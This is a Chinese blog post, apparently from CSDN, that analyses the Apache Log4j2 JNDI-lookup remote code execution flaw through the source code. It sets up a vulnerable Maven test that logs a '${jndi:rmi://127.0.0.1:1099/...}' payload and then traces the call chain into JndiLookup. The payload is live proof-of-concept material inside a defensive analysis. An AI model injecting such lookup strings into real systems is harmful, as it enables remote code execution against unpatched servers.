log4j漏洞源码分析

文章详细介绍了如何利用ApacheLog4j2的漏洞进行远程代码执行,通过分析日志框架的内部工作流程,特别是日志级别判断和lookup()方法的触发,展示了攻击者如何通过JNDI查找来执行恶意代码。关键在于log4j-core的配置和日志message中的特定格式,这可能导致严重的安全风险。
摘要由CSDN通过智能技术生成

一、环境搭建

使用Apache log4j2 <= 2.14.1进行测试
1.创建maven项目,pom.xml文件配置加入log4j依赖
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>
2.添加log4j-core的依赖
3.创建log4jTest.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4jTest {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:rmi://127.0.0.1:1099/EvalObj}");
    }
}

二、分析

重点一:判断当前日志级别是否需要记录日志  
1.AbstractLogger.java
  • 进行Logger.log()日志记录时会采用logIfEnabled()方法进行判断,返回为true才可以继续进行日志操作。这里也是漏洞能否成功触发的关键。查看isEnabled方法
  • 会判断当前传进来的level级别与系统环境的日志级别做大小比较,符合记录要求的级别才会记录。 也就是说,漏洞能否成功触发与设置的日志Level有关
如下代码基本也没有其他方法调用
org\apache\logging\log4j\spi\AbstractLogger.java
如下进入到logMessage方法后,一路调用,没有其他重要方法。
org\apache\logging\log4j\core\Logger.java
org\apache\logging\log4j\core\config\DefaultReliabilityStrategy.java
loggerConfig.java
org\apache\logging\log4j\core\config\AppenderControl.java
org\apache\logging\log4j\core\appender\AbstractOutputStreamAppender.java
对输入内容 event,进行encode加密;
org\apache\logging\log4j\core\layout\PatternLayout.java
对输入的内容进行序列化
如下会循环遍历,
org\apache\logging\log4j\core\pattern\PatternFormatter.java
循环到8的时候会记录MessagePatternConverter,主要对输入内容Message字段进行格式化;
核心代码:
org\apache\logging\log4j\core\pattern\MessagePatternConverter.java
进入到MessagePatternConverter,我们可以看到this中noLookups默认为false,意思为开启JNDI格式化功能。
  • 当进入到判断条件中,因为noLookups为false,那么!false的值为真,那么就进入到for循环里继续对log的message event进行处理,取出${}中的数据进行替换操作,从而触发后续lookup()操作
org\apache\logging\log4j\core\lookup\StrSubstitutor.java
如下进入到替换的代码部分,经过两此substitute方法。

 进入到substitute方法后,可以看到while循环,简单来说,pos为当前字符串头指针,prefixMatcher.isMatch只负责匹配 ${ 两个字符。如果匹配到就进入第二层循环匹配,原理和代码相似。如果没有匹配到}字符,pos指针就正常+1。

一旦匹配到}字符,代码就会进入第三个阶段,提取表达式的内容赋值给varNameExpr变量,并且传给bufName后交给substitute进行处理。
然后会跳到如下resolverVariable方法。会将获取到的内容作为lookup的参数进行调用。
org\apache\logging\log4j\core\lookup\StrSubstitutor.java
org\apache\logging\log4j\core\lookup\Interpolator.java
  • lookup()方法包含多种处理event的途径,从我们传入的var中根据 : 为分隔符获取到prefix,根据event的prefix选择相应的StrLookup进行处理。包括jndi、date、Java、main等。
  • 当构造的event的prefix为jndi时,则通过org.apache.logging.log4j.core.lookup.JndiLookup的lookup()方法处理,从而触发JNDI漏洞利用。
org\apache\logging\log4j\core\lookup\JndiLookup.java
最终调用jndi的地点:
javax\naming\InitialContext.java
整个调用链
      at javax.naming.InitialContext.lookup(InitialContext.java:417)
      at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
      at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
      at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
      at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1110)
      at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1033)
      at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
      at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
      at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
      at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
      at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:344)
      at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
      at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
      at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
      at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
      at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
      at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
      at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
      at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
      at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
      at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
      at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:540)
      at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:498)
      at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:481)
      at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:456)
      at org.apache.logging.log4j.core.config.DefaultReliabilityStrategy.log(DefaultReliabilityStrategy.java:63)
      at org.apache.logging.log4j.core.Logger.log(Logger.java:161)
      at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2205)
      at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2159)
      at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2142)
      at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2017)
      at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
      at org.apache.logging.log4j.spi.AbstractLogger.error(AbstractLogger.java:740)
      at com.huawei.log4j.log4jTest.main(log4jTest.java:10)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值